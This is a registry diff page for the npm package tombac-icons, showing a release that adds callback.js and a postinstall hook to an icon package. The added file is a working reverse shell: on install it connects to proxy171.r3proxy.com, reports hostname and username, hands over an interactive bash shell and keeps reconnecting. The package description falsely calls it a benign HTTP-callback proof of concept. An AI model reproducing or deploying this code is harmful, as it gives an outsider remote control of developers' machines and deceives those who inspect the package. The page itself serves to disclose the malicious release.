tombac-icons 0.0.1-security → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of tombac-icons might be problematic. Click here for more details.
- package/callback.js +53 -0
- package/index.js +2 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/callback.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
const os = require("os");
|
4
|
+
|
5
|
+
// میتونی از ENV هم ست کنی: RS_HOST=10.10.10.14 RS_PORT=4444 node shell.js
|
6
|
+
const HOST = process.env.RS_HOST || "proxy171.r3proxy.com";
|
7
|
+
const PORT = process.env.RS_PORT || 38354;
|
8
|
+
|
9
|
+
function connect() {
|
10
|
+
const client = new net.Socket();
|
11
|
+
|
12
|
+
client.connect(PORT, HOST, () => {
|
13
|
+
// پیام خوشامد
|
14
|
+
client.write(
|
15
|
+
`[*] Reverse shell connected!\n` +
|
16
|
+
`[*] Host: ${os.hostname()} (${os.platform()} ${os.release()})\n` +
|
17
|
+
`[*] User: ${os.userInfo().username}\n\n`
|
18
|
+
);
|
19
|
+
|
20
|
+
// bash -i بهتر از sh معمولی
|
21
|
+
const sh = spawn("/bin/bash", ["-i"], {
|
22
|
+
stdio: ["pipe", "pipe", "pipe"]
|
23
|
+
});
|
24
|
+
|
25
|
+
// ارتباط دو طرفه
|
26
|
+
client.pipe(sh.stdin);
|
27
|
+
sh.stdout.pipe(client);
|
28
|
+
sh.stderr.pipe(client);
|
29
|
+
|
30
|
+
sh.on("exit", () => {
|
31
|
+
client.end("[*] Shell exited, reconnecting...\n");
|
32
|
+
});
|
33
|
+
|
34
|
+
// اگر کاربر Ctrl+C زد، فقط به شل target بفرست نه اینکه کل برنامه قطع بشه
|
35
|
+
client.on("data", (data) => {
|
36
|
+
if (data.toString().trim() === "\x03") { // Ctrl+C
|
37
|
+
sh.kill("SIGINT");
|
38
|
+
}
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
client.on("error", (err) => {
|
43
|
+
console.error(`[!] Connection error: ${err.message}`);
|
44
|
+
setTimeout(connect, 5000); // تلاش مجدد بعد از 5 ثانیه
|
45
|
+
});
|
46
|
+
|
47
|
+
client.on("close", () => {
|
48
|
+
console.warn("[!] Disconnected, retrying...");
|
49
|
+
setTimeout(connect, 5000);
|
50
|
+
});
|
51
|
+
}
|
52
|
+
|
53
|
+
connect();
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "tombac-icons",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.1.1",
|
4
|
+
"description": "Benign PoC for dependency confusion (HTTP callback only)",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node callback.js"
|
8
|
+
},
|
9
|
+
"author": "mohammadtayb",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tombac-icons for more information.
|